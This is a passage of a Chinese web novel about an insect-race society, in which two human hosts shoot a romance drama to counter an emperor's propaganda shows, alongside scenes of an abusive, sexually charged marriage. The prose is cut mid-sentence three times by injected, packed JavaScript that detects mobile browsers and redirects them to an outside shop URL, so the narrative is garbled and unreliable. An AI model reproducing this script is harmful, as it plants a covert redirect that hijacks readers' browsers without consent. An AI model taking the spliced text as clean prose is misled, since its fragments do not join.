乔治森紧随其后,在出门前恶狠狠地警告了一句:“你要是敢再这么对里尔,我要你好看!” 先前的冲击波被证实,只是让他的大脑产生了“重伤”的错觉,实际上毫发无损。 诺尔曼看都不看他一眼,凝望着雪白的天花板发呆。 里尔曾经对他说过很多次爱,他也确信自己爱着里尔,只是两人总因为观念不合而产生矛盾。 只是……他还是无法控制自己的情绪,在愤怒时伤害里尔。 他就这么仰着头想了很久,才重新站了起来,拍打了头发和身上的灰尘。 病房里没有护理人员,大概是相信他能自己对付。 诺尔曼正要拿起仪器给自己做检查,突然想起还有件要事没做。 今早放了那个冷血金毛狗的鸽子,相关文件还没传给他看。 想到那人紧绷着嘴唇,不情不愿报出自己光脑号的样子,诺尔曼的心情稍微好了百分之一。 他轻点光脑,把加密文件给那个特等功徽章的头像传了过去。 附言: 克兰德元帅,这是下次会议的重点文件,请及时查看。 P.S 很荣幸和您成为好友,谈判愉快^_^ “合作愉快,铮铮。” 另一边的虫族,应柏桥和秦铮正在排演一场大戏。 既然乔瓦尼可以用纯爱短剧征服克兰德和雌虫,他们何不来一场“文艺复兴”呢? 帮助克兰德和被PUA的雌虫们找回初心。 不,是教会他们什么是真的纯爱。 毕竟,乔瓦尼重生到虫族后,拍的第一部短剧就是“有毒”的。 年轻的雌虫军官偶遇了假扮成雌虫副手的贵族雄虫。 雄虫告诉他,自己这一生虽然锦衣玉食,但始终被人像金丝雀一般喂养照料,从未幸福过。 为了追寻真正的幸福,这才偷偷跑出家门,体验生活。 剧中,雄虫虽然成为了副手,但几乎什么活都不用做,只需要喊喊口号,哀叹几声对于自由的向往。 他只要轻轻抚摸雌虫的脸颊,就能把对方迷得颠三倒四,主动揽下他的工作。 只是说了一句“我一生,只接受一个伴侣”,就让雌虫们为他心动,尖叫,哐哐撞大墙。 雄虫温和礼貌的举止,和眼中抹不去的忧郁深深打动了军雌,和剧外的观众。 雌虫们纷纷爱上了这位与众不同的阁下,被他给予的一丁点甜头打动,甚至开始共情那群成天无所事事的雄虫的不易。 尽管他们中的大多数都要忍受婚前雄虫的横行霸道,婚后的鞭打和辱骂。 乔瓦尼用一种诗意浪漫的方式,给雌虫们慢慢洗脑。 “雄虫们也很可怜,给予特权是应该的。” “雄虫阁下居然只要一个雌君,天哪,这简直太纯爱了!” 但是等等,这到底算哪门子纯爱,“全世界道德水平下降一万倍,我依然不变”的纯爱吗? 应柏桥和秦铮要做的,就是打碎这种洗脑包对雌虫的侵蚀。 于是,在系统的帮助下,他们弄来了这个时代没有的特效技术,最好的编剧、导演以及最擅长营销的团队。 不是要比短剧质量吗? 在真正的地球科技面前,文化贫瘠的虫族简直就是个小矮人。 只不过,主角的选取让两人觉得头疼。 系统提供的仿生人,演一演NPC和配角还行,想要演出主角之间拉丝的暧昧情感,就有些困难了。 而请本土虫族来参演,更是不可能。 这群雄虫已经被乔瓦尼养得越发无法无天,怎么可能真来演戏? 应柏桥苦思冥想,也没有更好的解决方案。 秦铮向来不看影视剧,对这一块更是完全盲区。 就在这时,一直旁观的系统突然说话了。 【两位宿主,或许可以由你们来演主角?作为人类的你们,应该更懂得如何演出想要的效果。】 况且,两位宿主这两天的相处模式,实在符合人类对于“暧昧”的定义。 出于机械球的直觉,系统并没有将这句话告诉两人。 “似乎,也是个办法?”应柏桥思忖了一番,抬头看向秦铮。 “我没有演过戏,应该还不如仿生人。”秦铮摇了摇头。 “行不行的,先试试看吧。” 应柏桥站起身。这也算死马当活马医了。 于是,系统配备的导演走上前,开始和他们讲戏。 故事在人类看来比较老套,灵感来源于应柏桥被划出的伤口。 他当时就想着,这伤口留着,正好可以演一出英雄救美的戏码。 于是,这个落难少爷雄虫和冷漠军官雌虫的故事,便开幕了—— 雄虫西尔维出身名门,却酷爱冒险。 某一日,他驾驶自己制作的飞行器出门游玩,却由于引擎故障,从高空坠落。被下班回家的军雌艾菲尔救下。 但是,和其他毕恭毕敬的雌虫不同,艾菲尔没有因为他的雄虫身份就诚惶诚恐,反而狠狠教育了他一顿。 西尔维从未见过这样酷帅的虫,他立刻喜欢上了艾菲尔。 回到家,他很想立刻请求雄父为自己赐婚,与心上人喜结连理。 可是,他又不想强迫艾菲尔,也不想他被施压。 于是,他干脆伪装成了雌虫,托关系成为了艾菲尔的一名小秘书。 并且借机追求艾菲尔。 然而,艾菲尔对这个乳臭未干的幼稚雄虫毫不在意,一次次拒绝了他。 西尔维却毫不气馁,一边努力提升工作能力,让艾菲尔刮目相看;一边收集各种艾菲尔的喜好,讨他的欢心。 终于,在雄虫的猛烈攻势下,艾菲尔那颗冰山般的心也融化了。 他接受了雄虫的告白,并且用自己的全部资产为聘礼,前往西尔维家提亲。 雄虫和雌虫幸福地生活在了一起。 雄虫热诚可爱,虽然利用了特权追人,但充分尊重雌虫的意愿,并且坚决不给他和军部添麻烦; 雌虫表面冷酷,对雄虫的追爱表现得像根木头,实则对“小秘书”双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随着导演一声咔,秦铮才如梦初醒般回过了神。 “还有,秦铮演员这段的表情不对。你那边的特写镜头里,眼神躲闪得还以为你暗恋西尔维呢! “你现在还没有爱上西尔维,应该冷漠地让他放手才对。” 秦铮站在原地,低着头一声不吭地听导演讲戏。 应柏桥挑了挑眉:还有这种事? 他看着对方的耳朵,虽然只是微微泛红,但在银发的衬托下格外明显。 应柏桥肚子里的坏水又冒起来了。 “啊——”他故意拖长声音,往秦铮那边瞟,“导演,这不能怪铮铮,是我演得太入戏,害得铮铮共情了呀。” “对不起啊铮铮,下一场戏我一定收着点演。”他嘴角勾起一抹坏笑,微微弯腰去看秦铮的表情。 “不是你的问题!”秦铮听到应柏桥自责,赶紧抬头澄清,却撞进了对方含笑的眼眸中。 他又失神了一瞬,低下头,然后诚恳地把锅揽了回来。 “是我的问题,你演的西尔维太可爱了,我没有遇见过这样的人,所以入戏太深,一时没忍心拒绝你。” 秦铮严谨地分析。 秦铮道歉了半天,也没听到应柏桥回复,他疑惑地抬头看向对方。 只见应柏桥把头扭到了一边,轻咳了一声,转移话题:“谢谢铮铮的夸奖,不过下一场戏似乎要开拍了,我们还是去准备一下吧。” 他的耳朵似乎也微微发红,但没等秦铮看清楚,应柏桥就率先离开了。 后续的拍摄进行得很顺利。 没过多久,一部名为《冷酷军雌爱上我》的短剧,就在虫族星网正式上线了。 这部打着“首创雄追雌题材”旗号的作品,很快引起了全国上下的热烈讨论。 作品的“纯爱无敌”旗号,更是和几年前虫皇阁下的短剧系列宣传语相撞,隐隐带有打擂台的意思。 这个消息,自然也传到了酷爱纯爱题材的克兰德元帅耳中。 8. 虫族线:首部雄追雌纯爱短剧 “很荣幸和您成为好友,谈判愉快^_^” 咔嚓—— 克兰德将光脑捏了个粉碎。 雌虫面无表情地张开掌心,让可怜的光脑残骸撒落一地。 身后的下属瑟瑟发抖,不敢说话。 片刻后,克兰德才开口:“给我换一个新光脑。” “是!”雌虫下属鞠了一躬,匆匆离开。 冰冷的视线落在那摊碎屑上,就好像注视着远在联邦的虚伪副总统的尸首。 不过很快,新的光脑就调试好送了上来。 雌虫接过光脑,首先查看了通讯录: 置顶的联系人当然是乔瓦尼·哈洛特。 克兰德向来不会说什么甜言蜜语,因此只是简单地将备注改成了“雄主”。 紧随雄主之后的名字,让他差点又捏碎了一个光脑。 由于诺尔曼是最新发件人,他的名字理所当然地跟在了乔瓦尼后方。 这个人类……污蔑雄主的家伙,怎么配跟雄主的名字放在一起! 克兰德立刻冷冷地对一旁的下属开口: “你,现在给我发一条消息。” “请问元帅,要发什么?”一旁战战兢兢的下属突然被点到,吓得出了一身冷汗。 “随便什么!快!”克兰德的声音不大,但带着不怒自威的气势。 “啊,啊,好的!”这下可苦了下属。 谁知道上司莫名其妙让自己发消息是什么意思啊? 而且,万一发的内容不合领导心意,又被训一顿怎么办? 倒霉的雌虫副官欲哭无泪,他认命地打开光脑: 正巧,一则星网的推送弹了出来—— “首部雄追雌题材爱情短剧”? 电光火石间,下属突然想起自家上将以前就是纯爱短剧的头号金主,发这个总没错吧? 于是,他迅速地把这条推送转给了克兰德。 但还没等他松一口气,克兰德冷飕飕的声音就响了起来: “这个‘纯爱无敌’的宣传语,我记得是陛下以前拍短剧时用的?” “宣传方是什么意思,挑衅陛下?觉得自己比陛下做得更好?” 下属流下的冷汗都快能洗个澡了,他腿一软,差点跪在了克兰德面前谢罪。 “不,不是这样的元帅!我只是觉得您可能喜欢纯爱短剧,没有仔细看内容啊!” 雌虫结结巴巴地解释着,这是一只蝴蝶谱系雌虫,他被吓得两只触角都冒了出来,一晃一晃的,像是在磕头求饶。 不过,克兰德并没有继续苛责他的失误,而是点开了第一集短剧。 短剧向来强调低成本高利用率,能用的演员和场景越少越好。乔瓦尼拍摄的短剧就是如此。 但这部剧却像是有钱没地方花似的,开头就是密密麻麻的人流,人头攒动的繁华街道。 克兰德眯了眯眼睛,这街道看起来不像是投影,而是实景拍摄。 下一秒,天真烂漫的雄虫少爷开着飞行器在空中飞行,甚至还做了几个炫技的动作。 克兰德坐直了身子,这是请的雌虫替身?不对,这只虫身上没有虫纹,现在的遮瑕技术还掩饰不了虫纹。 突然,小雄虫从飞行器上摔了下来! 摄像机诚实地记录了他惊恐的眼神,和天旋地转的视角。 而下一秒,银色翅膀的军雌敏捷地接住了他。 克兰德瞳孔微缩。他很确定,这种危险的动作就算是特技演员也不敢随意去做。这只雄虫是怎么敢的? 雌虫并不知道,在地球上有一种技术叫做吊威亚,更不知道特效的存在。 他渐渐被这两只四目相对,暧昧值拉满的虫子吸引了,看着他们脸红对视,雌虫冷言拒绝,雄虫怅然若失…… 不知不觉,他看了一集又一集,直到听见身旁抽抽嗒嗒的声音。 克兰德皱起了眉头,看向一旁哭得梨花带雨的高大副官。 “呜呜,对不起长官,呜呜……小雄子太可爱了,这个不识好歹的雌虫居然拒绝他……呜呜……” “要哭滚出去哭。”克兰德冷声训斥。 下属便呜呜着跑出了雌虫的办公室。 克兰德又恢复了清净,他点开了评论区: 雌虫们已经炸开了锅。 【这个纯爱至上的标语,明显在挑衅我们陛下吧!文化局怎么审核的,这还不下架?】 【这个剧情真的是雄虫参演吗?让雄子演这么危险的戏,剧组疯了吧!雄虫保护协会警告!】 【什么科幻片呵呵,这雌虫也太不识好歹了,摆什么架子啊?追夫火葬场警告!】 【虽然剧情有点逆天,但是,你们不觉得小雄子真的很可爱吗?又会动手做飞行器,又纯情的雄子阁下!啊我死了!】 克兰德不语,他看着第一条弹幕沉思了良久,最后点开了剧组的私信,发了一条消息: “剧做得不错,把你们的宣传语改了,我可以不向文化局举报你们。” 他关掉消息弹窗,继续往下看: 小雄子西尔维伪装成雌虫来到军部,已经有一段时间了。 最初,他会给艾菲尔送玫瑰,送电影票,邀请他一起吃饭。 但艾菲尔都以自己不喜欢鲜花,没空,习惯一个人吃饭为由拒绝了。 西尔维没有气馁,他一边干劲十足地给雌虫打下手,一边想方设法打听艾菲尔的喜好。 直到有一天,艾菲尔出勤时胳膊被划出了一个大口子。焦急的西尔维想要为他包扎,再次被拒绝。 艾菲尔冷硬地表示,这点小伤自己就能好,无需阁下担心。 西尔维不乐意,他强行拉着艾菲尔去医务室。 艾菲尔感到丢脸,不愿意为这点小伤去包扎,想要挣脱开。 两人拉扯间,艾菲尔甩开了西尔维的手—— 小雄虫积攒了几个月的委屈一下子爆发了—— 他红着眼睛冲西尔维喊:“你为什么不好好对自己!为什么总是这样亏待自己!我不是为了表现什么,在你面前挣个面子,我只是关心你,心疼你啊!” 艾菲尔怔住了。他看着西尔维吼出这一大段话,然后抹了把眼泪跑开了。 短剧连载到这里戛然而止。 屏幕上浮现出一行字:21-40集,将于下周同一时间放送。 之后,网站自动弹出了最新的评论区。 雌虫们都在大骂剧组说话只说一半,卡得一手好节点。 吐槽剧情科幻的依旧有一大批人,但视频的打赏数额却在节节升高。 克兰德沉吟了一下,又将进度条拉回雄虫大吼的那段。 他在那句“我只是心疼你”的字幕上停了良久。 之后,再次打开了剧组的私信: “后面会有追夫火葬场吗?你给我剧透,我保证不说出去。而且给你打赏十万星币。” 为了表明自己不是骗子,克兰德先象征性地打赏了一万星币。 这边刚刚打赏完,那头消息就传来了。 “感谢您对本剧组的支持!宣传语这方面,我们确实是想蹭一下乔瓦尼陛下的热度,给您带来不好的观感,非常抱歉!” “之后没有追夫火葬场哦,毕竟宣传的就是雄追雌,如果还要雌虫为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171790|196838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雄虫追求自己而道歉,就有诈骗之嫌了~” “诈骗?” 白色长发的雄虫优雅地举起了酒杯,和对面的雌虫轻轻碰了一下。 “可是,”他纤长卷翘的睫毛轻挑,“你不就是喜欢我这样的骗子吗?” “我骗了你什么呢,路德?你的心吗?” 身材高挑的雌虫猛地站起了身,他咬牙切齿地走到醉眼朦胧的雄虫面前—— 恶狠狠地单膝下跪,将手抚摸在雄虫柔软的大腿上。 “没错!这下你满意了吧,把我,还有我弟弟,都耍得团团转,让我们为你卖命!” 雌虫愤愤地盯着乔瓦尼: 他的嘴唇水润如最娇嫩的玫瑰,让人忍不住想要一亲芳泽—— 下一秒,他吻上去的唇就被雄虫用食指轻轻按住。 像是逗弄小狗似的,乔瓦尼漫不经心地挠了挠路德的下巴: “别玩得太过了克莱尔,我今天还要回家。” “呵,跟那个躁狂症患者克兰德吗?” 路德暧昧地抓住乔瓦尼的手腕,在他那根触碰过自己的食指上,用虫族细长的舌头舔吻了一下,像是做标记一般让那根白嫩的手指染上自己的湿痕。 “那你还不如和我待在一起,就一晚上。我保证下个月哈洛特集团的营业额还能再涨两个点。” 下一秒,那根手指似是奖赏般抵在他的额头,将他推开。 “下次吧。”雄虫正想要离开,却被身后的一只手按住了肩膀。 是路德的雌虫弟弟——蒙特。 他们俩也是乔瓦尼曾经的金主。不过,现在已经成为他的的马前卒了。 “难得我和哥哥都在。”蒙特轻佻地抚过乔瓦尼的侧脸,对方并没有躲开。 “陛下今天晚点回去,也是可以的吧?” 乔瓦尼被兄弟二人前后夹击,前者顺着他的大腿缓缓往上; 后者则帮他按摩着劳累了一天的肩膀。 “那好吧,”乔瓦尼舒服地半眯上眼睛,“不许乱来,晚饭后我就要回去。” “什么时候……回来……”克兰德的额头上渗出大滴的汗珠。 今天是他的发情期,没有雄虫伴侣的抚慰,他会因为精神力紊乱而头痛欲裂。 “雄主,雄主……”缺少安慰的雌虫只能牢牢抓住乔瓦尼的枕头和被子将自己裹成一团。 不知为什么,上面的雄虫气息相较于他上次回家时,淡了很多。 但是克兰德只当是仆人最近新换了床上用品,拼命攫取上面仅存的气味,不断发出喀喀的痛苦气音。 突然,被扔在床头的光脑闪烁了一下。 如同救命稻草一般,克兰德用尽全力扑了上去,打开消息—— 雄主:“公务还没处理完,要晚点回来,再忍耐一下好吗,我的小狗?” 克兰德眼里的光芒一瞬间亮起,又很快熄灭了。 但他还是强撑着坐了起来,拿起光脑给雄虫回信。 然而,新一波的精神力紊乱让他的手指颤抖不已。 一片混乱中,他点上了那个备注为“迟早杀死你”的对话框。 “叮铃!”躺在修复舱中的诺尔曼被光脑的提示音吵醒。 他点开消息,却发现来自“暴躁金毛犬”。 副总统微微挑起了眉毛,他还以为这家伙恼羞成怒,把他拉黑了呢。 来信是一条语音,诺尔曼点开,却立刻愣住了。 语音那头的人,声音微喘,完全不似和他说话时的坚硬冰冷。 对方带着哽咽的声音说道: “好的,雄主。我等您回来……” 9. 虫族线:冷酷军雌爱上我 饶是诺尔曼见多识广,都差点把光脑扔了出去。 谁能想到,那个冷硬得仿佛金刚石都撬不开的克兰德·菲兹,还能发出这种声音。 诺尔曼眼中闪过一丝兴味,他坐起了身: 难得金毛犬在自己面前出了丑,该回复点什么羞辱他呢? 他的指节在治疗舱边缘轻敲,思忖片刻将光脑举起,准备发语音。 但话到嘴边又放下了。 他蹙起眉头,雌虫的声音虽然暧昧但掩盖不住痛苦。 金毛犬……应该是处于虫族所谓的发情期吧。 雌虫会陷入精神力暴动,痛苦不已,只有雄虫的精神力抚慰能让他们缓解痛苦。 这也是雄虫如此珍贵的原因。 雌虫用间断性的精神力暴动,换来了超强的攻击力和自我修复能力。 而代价,就是要接受雄虫的羞辱和鞭打,以换取精神力暴动时的解药。 想到这,诺尔曼轻嗤一声,放下了光脑。 他双手交叠在小腹,又重新躺回了治疗舱里。 即使是宿敌,他也没有火上浇油的道理。 “克兰德,在我说‘可以’之前,你不许动。听到了吗?” 漆黑的主卧内,只有写字桌前点了一盏小灯。 微弱的灯光映照着雄虫柔美的下颌线,他正在调教面前这只不听话的雌虫。 “呼……呼……听到了,雄主。” 克兰德竭力忍耐着刀片在脑袋里搅动似的疼痛,几乎要把自己的嘴唇咬出血。 他跪在乔瓦尼面前。 因为见到雄主时直接扑了上去,他需要接受一些小小的惩罚。 乔瓦尼居高临下地坐在桌前,他的眼睛是如湖水般的深绿色,被誉为“哈洛特王国最美的翡翠”。 然而,这块让无数雌虫倾倒的翡翠,此刻却只带着浅淡的笑意,完全不似他在摄像机里表现出的深情。 克兰德因为被下了不能动的命令,连抬头看一眼乔瓦尼都无法做到。 雄虫偶尔会用细弱的精神力丝线撩拨一下他的大脑,让他感受到些许快乐,又瞬间坠入地狱。 金色的眼睛不复白日的耀眼光彩,而是变成了一块锈迹斑斑的废铜。 克兰德虽然□□痛苦,但一想到雄主就坐在自己面前,看着自己,他就无法抑制自己内心的喜悦和冲动。 他的嘴巴频繁地发出“呼哧呼哧”的声响,像是恶狗在向主人求欢讨饶。 突然,一缕银白色的发丝垂落到他的面前。 克兰德猛地一颤,他看向那缕发丝,饥渴得要流出口水来。 那是雄主的头发,他曾经梳理,爱抚过无数次的长发…… 柔滑,细腻,像是银色的绸缎一般让雌虫头晕目眩。 克兰德恨不得立刻扑上去,但他还是克制住了。 他一面对抗着刀割般的精神力疼痛,一面抵制着那缕银发对自己的诱惑。 直到他最爱的雄主开口: “去吧。” 只两个字,克兰德立刻扑上去,拿起那缕发丝,动情地亲吻。 他顺着发丝一路向上,吻着乔瓦尼,却不敢主动索要精神力梳理。 直到雄虫觉得痒了,微微避开他的亲吻。 那双金色的眼眸努力焕发出光彩,试图讨好他的主人。 乔瓦尼轻笑一声,暧昧地伸出自己莹白的右脚。 白嫩圆润的脚趾,从雌虫的大腿一直往上,在关键部位轻轻一踩—— 雌虫一声闷哼。 “瞧你馋的。”乔瓦尼笑骂了一句。 克兰德立刻心领神会,他重新跪在了雄虫的腿间。 即使在这样兴奋的时刻,他也保持着最后的体面,不让自己的虫态暴露出来。 克兰德凑到了雄虫的小腹间,用薄唇轻轻咬开那根睡袍的腰带。 他抬起头,眼神亮晶晶的: “请雄主让我服侍您。” 随着乔瓦尼一点头,原本作弄他的精神力丝线也终于落在了他的头顶。 雌虫将脑袋埋进了雄虫腿间。 雄虫的□□也可以为雌虫安抚精神力。 克兰德享受着雄主对自己的精神力抚慰,浑身颤抖不已。 但他并没有忘记自己的本职工作,努力地侍奉着雄主。 柔若无骨的雄虫不断发出舒适的喟叹。 克兰德的心脏也越跳越快,他感到自己的血压几乎要爆了。 能够享用这样美味的雄主,接受雄主的爱抚。 他果真是太幸运了。 “幸运他雌父的!” 《冷酷军雌爱上我》第21-40集准时放送,书接上回,西尔维单方面与艾菲尔开始冷战。 但很快,他们就一起参与了一件雌虫殴打雄虫的案子。 被告是艾菲尔的下属,约翰中士。 他因为丈夫试图对自己的雌子动手,而不小心推了对方一把,导致雄虫撞在了厨房的料理台上,手指青了一块。 艾菲尔作为约翰的上司,可以出庭为他辩护。 艾菲尔前往看守所面见约翰,西尔维作为秘书,自然要同行。 会见室里,约翰被五花大绑,他垂着脑袋,眼中满是痛苦和悔恨。 “我当时怎么就没忍住呢,”他喃喃自语道,“如果我被判刑,小乔尼该怎么办呢?我的丈夫一定不会善待他的。” 他苦笑了一声,向来坚毅的眼睛里含着泪水,无奈地看向艾菲尔。 “长官,您也觉得我很活该吧。说实在的,他只对乔尼动过这一次手,其他时候也只在心情不好时才会鞭打我,相较于其他人,我已经很幸运了……” “幸运他雌父的!”站在艾菲尔身旁的西尔维冲动地打断了雌虫的话。 艾菲尔坐在扶手椅上,静静地听着雌虫的话。 没想到身旁的小雄虫却贸然打断了对方,这在纪律严苛的军部,是绝对不允许的。 但艾菲尔在听见西尔维的话之后,只是出于诧异看了眼对方,并没有立即呵斥。 小雄虫憋了一肚子的气,一双水蓝色的眼睛几乎要被气得通红。 “倒是和他那天朝我大喊时很像。”艾菲尔微微动了下手指,没有制止西尔维接下来的发言。 “你怎么能容忍一个人渣那么久?怎么能接受他打骂你!你保护自己的孩子,有什么错!” 西尔维走上前,猛地一拍桌子,把坐在对面的约翰吓了一跳。 “你根本没做错,那个人渣身上的伤口,一天不到就能好,你却要为此承受牢狱之灾?” 约翰听着西尔维的质问,觉得这雌虫秘书真是莫名其妙,心里也来了火气。 他大声反驳:“别在这白日说梦了,小心警方以谋反罪把你逮捕!雄虫尊贵的道理,你雌父没教过你吗?” “没有雄虫,我们发情期如何度过?被打两下怎么了?生为雌虫,不就是要忍耐吗?” “你怎么能这么想!这不公平,我也是雄……唔!”眼看着西尔维要自爆马甲,艾菲尔赶紧捂住对方的嘴巴。 他朝着约翰点了点头:“我会把你的悔罪书带给法院,希望他们从宽处罚。” “你的孩子也不用担心。如果你真被判刑,我会定期去看望他。” 说罢,他便将西尔维拖出了会见室。 回去的路上,西尔维气鼓鼓地一声不吭。 直到艾菲尔重新坐在了自己的办公室里,他才开口。 “我要告诉雄父,让他帮忙,把约翰无罪释放。” 艾菲尔无奈地捏了捏自己的山根,毫不客气地回答:“约翰是初犯,再加上罪名较轻,应该关不了几个月就能出来。” “那也要受苦啊!难道你作为他的上司,我作为他的同事,就这么眼睁睁看着他接受刑罚吗!” 西尔维愤怒地望着坐在办公桌前,神情平静的雌虫。 然而下一秒,艾菲尔的话就把他噎住了。 “那么多雌虫因为冒犯雄虫罪被控告,你难道要一个一个利用特权,把他们救出来吗?” 西尔维被他怼得说不出话来,干脆扭过头不看他。嘴里气哼哼地说道: “我们还在冷战,我不要跟你说话。” 办公室里陷入了短暂的沉默。半晌后,西尔维听到艾菲尔拿起笔开始写公文的声音。 小雄虫有点碎掉了。 “他难道就没有一点在意我吗?”西尔维伤感地想,“但即便如此,我还是喜欢他。” 不过,他也是有脾气的。 上次艾菲尔实在太过分了,不说谢谢就算了,还甩开自己的手。 西尔维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“还有,上次我受伤的事,”艾菲尔原本想低下头快速说完,但还是强忍着羞耻抬起头,眼里满是真诚和歉意,“我不应该那样对待你的好心。” “对不起。” 西尔维愣了一下,连连摆手:“没事没事,我理解,你自尊心比较强,我当时那么做确实也欠妥……” “不,是我的错。”艾菲尔打断了他,神情严肃。 “为了表示抱歉和谢意,不知道能否请你周末吃个饭?” 雌虫还是无法直视小雄虫灼灼的视线,撇过头去。 “在哈洛特市的蓝宝石旋转餐厅,我订了位置。” 西尔维呆若木鸡,他几乎不敢相信自己听到了什么。 雌虫的耳根也随着时间流逝而一点点染上了红色。 “嗯,我愿意!”西尔维坚定地像在说婚礼誓词。 “好,那就这么定了,周六晚上,不见不散。” 艾菲尔的心缓缓放了下来,他佯装很忙的样子开始收拾文件:“闲话说完了,这下真的要开始工作了,否则今晚加班。” “加班怎么不算是一种二人世界呢?”西尔维笑嘻嘻地凑上去,帮着他整理。 【啊我死了,艾菲尔你小子吃得真好!小雄子超级可爱啊啊啊啊啊】 【这么看,艾菲尔也不是完全不开窍嘛,本CP粉甚是满意!快快给我结婚啊你们两个!】 【科幻片……真的没有追夫火葬场吗?】 【感觉前两个热评是做梦做多了,这种科幻片也信。十有八九是雌虫替身演的。】 【雌虫替身能看不出来虫纹?你没看到小雄子脖子上干干净净的吗?现在的化妆技术怎么可能做到?】 【科幻片,科幻片……而且还暗戳戳批判雄尊雌卑的制度,小心被举报!】 【不过,说到雄尊雌卑,有人知道剧里的假释制度真的可行吗?】 【法学生路过,确实可行,但没多少人实践。没必要为了一时之快,跟雄子闹得不痛快吧?】 【但是判刑确实有点……唉算了,就当看个乐子得了,短剧就别较真了。】 【就是,赶紧出下一集啊混蛋!】 就这样,《冷酷军雌爱上我》再次登顶了星网热搜。 而与此同时,为了纪念哈洛特集团成立五周年,虫皇亲自操刀的最新短剧《水中之月》也上线了星网。 10. 虫族线:和渣攻打擂台 应柏桥摘下了美瞳和假发。为了防止暴露身份,他和秦铮都是以乔装过后的模样参与表演。 刚刚的戏是西尔维和艾菲尔的第一次亲密接触,一个大大的拥抱。对于应柏桥这种习惯了逢场作戏的人来说,还算轻松。但他的搭档可就不这么认为了。 琥珀色的眼睛不似平常那般锋利,而是盯着桌上的文件道具愣愣地发呆。秦铮显然还沉浸在方才的“荧幕初拥”中无法回神。 直到导演提醒他下工了,他这才如梦初醒般,恢复了平时高冷寡言的状态。 “嗯?铮铮还没有卸妆吗?”应柏桥突然出现在他身后,笑眯眯地询问。 对方瞪大眼睛看向他,像是炸了毛的小动物。 银发的青年正准备说些什么,但下一秒就因为眼睛眨动过于剧烈,导致不够服帖的美瞳刺痛了眼球。 霎时间,秦铮的眼睛就红成了兔子眼,生理性的泪水也顺着脸颊流淌了下来。 与他同时发生变化的,是应柏桥的脸色。他立刻收起了刚才恶作剧般的笑容,面色沉了下来。 “抱歉吓到你了。明天我让道具组换一款更合适的美瞳。” 应柏桥此刻也顾不上什么安全距离了,单手捧起秦铮的下巴细细端详对方。 “现在感觉怎么样?”他声音里带上了此前从未有过的焦急,空着的那只手轻柔地拉开对方的下眼皮。 “动一下眼珠,把美瞳取出来。” 秦铮紧张地吞咽了下口水,下意识拽住了应柏桥手肘处的衣料。 他明明不怕疼也不怕痒的,但应柏桥和他近距离接触时,就是让他感到莫名的心乱。 按照应柏桥的指令,他顺利取下了两只美瞳。 这几秒钟对他来说莫名地漫长,他下意识想要撇过脸去,却又被应柏桥掰正了。 应柏桥此刻心里全然没有那些旖旎心思,他只关心秦铮的眼睛有没有真的受伤。 因此,他的鼻尖几乎要与秦铮的贴上,琥珀色的眼睛一板一眼地审视着对方。 “好了,应该没事。” 直起身子松了口气,应柏桥总算松开了秦铮。两人又重新回归了一个相对安全的社交距离。 原先柔和下垂的眼睛露出几分愧疚,水润的眼睛显得格外可怜。他再次和秦铮道歉:“对不起铮铮,我不该……” 然而,他的话却被好不容易缓过劲来的秦铮打断了。 “不是你的错,美瞳的问题。”秦铮的声音一如平常地清冷。 “换个美瞳就好了,我去跟道具组说一声。” 说罢,他便逃也似的离开了。 应柏桥站在原地,原本开了一半的口又被堵了回去。 有些懊恼地在自己嘴上轻打了一下,他的眼神更加晦暗了些。 并非是扇耳光的那种,只是作为一种自我警示。 逗铮铮玩也要有个限度,明知道对方在害羞,还凑过去吓人家。 这下好了,差点办坏事。 这边刚刚自我检讨完,那边应柏桥的光脑就响了起来。 他拿起光脑看了眼,消息来自《霸道军雌爱上我》官号私信。 这个账号今天发布了1-20集的短剧内容,账号内容由应柏桥全权管理。 哦吼,消息来自克兰德·菲兹,还附带一万星币的打赏。 原先沮丧下去的眼神,又逐渐亮了起来,琥珀色的眼睛里流露出几分颇为自得的神采。 虽然逗不了铮铮,但是另一条大鱼已经上钩了。 他唇角微勾,笑着敲出了回复。 《霸道军雌爱上我》如应柏桥预料的那般,讨论度节节升高。 质疑声占大多数,但在绝对的特效质量和刺激的剧本编排面前,大部分观众还是边骂边准时追更。 应柏桥打理官号的同时,秦铮则作为水军在评论区引导舆论。 在他的引导下,有一小批观众已经开始讨论起了“假释制度”和雌虫的权利争取。 当然,这其中有一半的内容发出来之后就被网站给封禁了。 但是,掌控了数百台评论生成器的秦铮,怎么可能让“平权”的火苗就这么被熄灭。 这几日,他几乎每晚下戏后,都要和网友以及网站审核博弈到凌晨。 若不是应柏桥强行没收他的手机,他恐怕还能通宵酣战。 对于不爱社交的秦铮来说,互联网可是他最熟悉的地方之一。 就这样,应柏桥负责外界宣传,秦铮负责内部控评,两人通力合作,硬生生地让这部名不见经传的短剧连续几天挂在了星网热搜榜首。 然而,他们很快就迎来了攻擂者——虫皇亲自操刀的最新短剧《水中之月》。 和先前发布的短剧一样,这部由哈洛特集团出品的作品,依旧讲述了一个被束缚的雄虫少爷和努力追爱的军雌之间的绝美爱情故事 被关在家中,被灌输了“只要好好享受就行”思想的雄虫,心中始终有一个打破禁锢的梦。 但出于世俗对雄虫的“偏见”,他只能成日享受美食美酒,偶尔和几个不成器的雄虫一起游街消遣。 直到某一次出游时,一只军雌对他一见钟情了。 